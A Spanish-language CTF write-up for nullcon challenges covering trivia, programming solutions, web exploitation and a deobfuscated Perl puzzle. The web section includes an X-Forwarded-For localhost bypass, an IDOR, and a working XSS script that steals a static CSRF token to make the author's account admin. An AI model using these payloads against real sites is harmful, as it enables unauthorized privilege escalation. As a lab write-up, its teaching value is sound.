Un aplauso al amijo @0verflowInside que nos ha puesto a currar con este CTF :D

Trivia

  1. What feature, introduced in DirectX 11, makes in-game textures appear rounder and better defined?
    Flag: tesselation

  2. What socket was used in the first Sandy Bridge chips?
    Flag: LGA1155

  3. Which computer program was written in February 1991 by 3 authors?
    Flag: Polyglot

  4. What is an emergent micro-cooling solution that operates similarly to conventional heat pipe technology known as?
    Flag: nanowik

  5. What is the first 4 bytes in a neXT fat binary?
    Flag: cafebabe

Programming

Big fib

    calculate 150000th fibonacci series, and flag is sum of the alternate numbers from answers.

Nos piden la suma de los digitos impares del numero 150000 de la serie de fibonacci. La solución que acepta es el propio número:

http://pastebin.com/XQLY3apK

Calculado con:


#include <gmp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void add_alternatives (mpz_t *t, char *str)
{
    mpz_t tmp;
    char digit[2] = {0x00, 0x00};
    int l = strlen (str);
    int i;
 
    for (i = 0; i < l; i+=2) {
        digit[0] = str[i];
        mpz_set_str (tmp, digit, 10);
        mpz_add (*t, *t, tmp);
    }
}
 
int main(int argc, char **argv) {
    char *str = NULL;
    mpz_t first, second, sum, count, stop;
    mpz_t total;
    int c = 0;
    int i = 0;
 
    if(argc < 2) {
        fprintf(stderr, "./%s num\n", argv[0]);
        return 1;
    }
 
    mpz_init (first);
    mpz_init (sum);
    mpz_init (total);
 
    mpz_init_set_ui(second, 1);
    mpz_init_set_ui(count, 1);
    mpz_init_set_str(stop, argv[1], 10);
 
    while(mpz_cmp(stop, count)) {
        /* En teoría era ésto, el form acepta lo que quiere.
        mpz_out_str (stdout, 10, sum);
        printf ("\n");
 
        str = mpz_get_str (NULL, 10, sum);
        add_alternatives (&total, str);
        free (str);
        */
        mpz_add(sum, first, second);
        mpz_set (second, first);
        mpz_set (first, sum);
        mpz_add_ui(count, count, 1);
        if (++i % 1000 == 0) printf ("%i\n", i);
    }
 
    mpz_out_str(stdout, 10, sum);
    printf("\n");
 
    str = mpz_get_str (NULL, 10, sum);
    add_alternatives (&total, str);
    free (str);
 
    mpz_out_str (stdout, 10, total);
    printf ("\n");
 
    return 0;
}

Lazy baba

    gives answer once in every 4 hours.

Y un link a answer.php


while true; do echo -e "GET /challenges/programming/answer.php HTTP/1.1\r\nHost: ctf.nullcon.net\r\n\r\n" | nc ctf.nullcon.net 80 >> lazybaba.txt; done

Flag is ABRAKADABRAGILIGILIGILI

Harmony in series

So our folks wanted to work on binomial series but they understood incorrectly so they made a series of this type. If series is for 10 numbers 10/1 + 9/2 + 8/3 â¦.. 1/10 = 22.218 round to 2 decimal place = 22.21 now they did calculated this series for 31337 numbers can you help these guys in finding the number again.

#!/usr/bin/python
sum = 0.0
for i in range (1, 31337):
    sum += ((31337 - i + 1)/i)
print (round (sum, 2))

Flag: 311180.65

Copy paste

    no time to copy paste and what you see is not what you get.

Y un link donde se muestra una frase que vista en HTML contiene varios caracteres de escape. El objetivo era picar algo que

  • Obteniese la frase
  • Urldecode
  • Post con el resultado
  • En menos de dos segundos.

Pero:

    <@ca0s> tengo unas manos muy rápidas

Web

Reto 1

La página recuerda demasiado a StackOverflow como para no recordar el owned que les hicieron hace poco. Hay un link hacia âAdmin consoleâ, pero no estamos autorizados a ver su contenido. Añadiendo un header a la petición HTTP:

X-Forwarded-For: 127.0.0.1

Escupía:

The Flag is DholuBholuareTWINS

Reto 2

Tenemos un login, y la posibilidad de crear un usuario. Una vez creado, hay un guestbook en el que podemos postear mensajitos. Solo aparece el link para ver el contenido del mensaje en tus propios mensajes, pero cambiando el ID del mensaje que quieres ver a 1:

Title: flag and Description: ChutkiisVERYcute

Reto 3

Se encontraba presente un archivo "login.phps". Contenía alguna linea interesante:


if ("Username & Password is correct"){
// Authenticated
header("Location: onepage.php");

Al acceder a onepage.php respondía un 302 Moved Temporarily, con un Location: login.php y algo de HTML, conteniendo:

The flag is JagguisaNAUGHTYbunder

Reto 4

La vulnerabilidad era un XSS en el lector de mails + CSRF en el formulario para dar acceso de admin. Los forms estaban protegidos por un token, pero éste no variaba en cada acceso. El token NO estaba presente en el lector de mails. Enviamos el siguiente payload:


<script>
if(window.XMLHttpRequest)
    http=new XMLHttpRequest();
else http=new ActiveXObject("Microsoft.XMLHTTP"); 
http.onreadystatechange=function() { 	
    if(http.readyState==4 && http.status==200) {
        var res = http.responseText;
        var a = res.split ('name="csrftoken" value="');
        var b = a[1].split ('" />');
	var token = b[0];
	parent.location = "http://ctf.nullcon.net/challenges/web/web4/set_admin.php?user=cannabis&csrftoken="+token+"&Set=Set";
    }
}
http.open("GET", "/challenges/web/web4/send_mail.php", true);
http.send ();
</script>

Y al rato, el token: BheemlikesLADDUSalot

Por otro lado, registrando el usuario admin y entrando como tal, también pudimos ver el token.

RE

Reto 1

Se nos presenta el archivo challenge.do


''=~('('.'?'.'{'.('`'|'%').('['^'-').('`'|'!').('`'|',').'"'.('['^'.').('['^'(').('`'|'%').('{'^'[')
.('['^'(').('['^'/').('['^')').('`'|')').('`'|'#').('['^'/').';'.('['^'.').('['^'(').('`'|'%').('{'^
'[').('['^',').('`'|'!').('['^')').('`'|'.').('`'|')').('`'|'.').('`'|"'").('['^'(').';'.('`'|')').(
'`'|'&').'('.'\\'.'$'.'#'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'='.'='.('^'^('`'|','))."\)".'\\'.
'{'.('`'|')').('`'|'&').'('.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'.')).']'
.'.'.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'/')).']'.('`'|'%').('['^('*')).
'\\'.'$'.('`'^'%').('`'^'.').('{'^'-').'\\'.'{'."'".('{'^'.').('{'^'(').('`'^'%').('{'^')')."'".'\\'
.'}'.')'.'\\'.'{'.('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').'\\'.'"'.('`'^'&').('`'|(',')).(
'`'|'!').('`'|"'").'='."'".('`'^"'").('`'|'/').('`'|',').('`'|'$').('`'|'%').('`'|'.').('`'^('$')).(
'`'|'!').('['^'"').('['^'(').('`'^'!').('['^')').('`'|'%').('`'^'"').('`'|'!').('`'|'#').('`'|"\+").
"'".'\\'.'"'.'\\'.'}'.'\\'.'}'.'"'.'}'.')');$:='.'^'~';$~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('^"\}";

Después de un rato buscando gaticos en ASCII, empezamos a ver tetas en ASCII algo parecido a concatenaciones en Perl.

Tuneando un poco el archivo:


#!/usr/bin/perl
 
$A=('('.'?'.'{'.('`'|'%').('['^'-').('`'|'!').('`'|',').'"'.('['^'.').('['^'(').('`'|'%').('{'^'[')
.('['^'(').('['^'/').('['^')').('`'|')').('`'|'#').('['^'/').';'.('['^'.').('['^'(').('`'|'%').('{'^
'[').('['^',').('`'|'!').('['^')').('`'|'.').('`'|')').('`'|'.').('`'|"'").('['^'(').';'.('`'|')').(
'`'|'&').'('.'\\'.'$'.'#'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'='.'='.('^'^('`'|','))."\)".'\\'.
'{'.('`'|')').('`'|'&').'('.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'.')).']'
.'.'.'\\'.'$'.('`'^'!').('{'^')').('`'^"'").('{'^'-').'['.('^'^('`'|'/')).']'.('`'|'%').('['^('*')).
'\\'.'$'.('`'^'%').('`'^'.').('{'^'-').'\\'.'{'."'".('{'^'.').('{'^'(').('`'^'%').('{'^')')."'".'\\'
.'}'.')'.'\\'.'{'.('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').'\\'.'"'.('`'^'&').('`'|(',')).(
'`'|'!').('`'|"'").'='."'".('`'^"'").('`'|'/').('`'|',').('`'|'$').('`'|'%').('`'|'.').('`'^('$')).(
'`'|'!').('['^'"').('['^'(').('`'^'!').('['^')').('`'|'%').('`'^'"').('`'|'!').('`'|'#').('`'|"\+").
"'".'\\'.'"'.'\\'.'}'.'\\'.'}'.'"'.'}'.')');
 
print $A;

Se nos mostraba el resultado:


(?{eval"use strict;use warnings;if(\$#ARGV==2)\{if(\$ARGV[0].\$ARGV[1]eq\$ENV\{'USER'\})\{print\"Flag='GoldenDaysAreBack'\"\}\}"})

Flag: GoldenDaysAreBack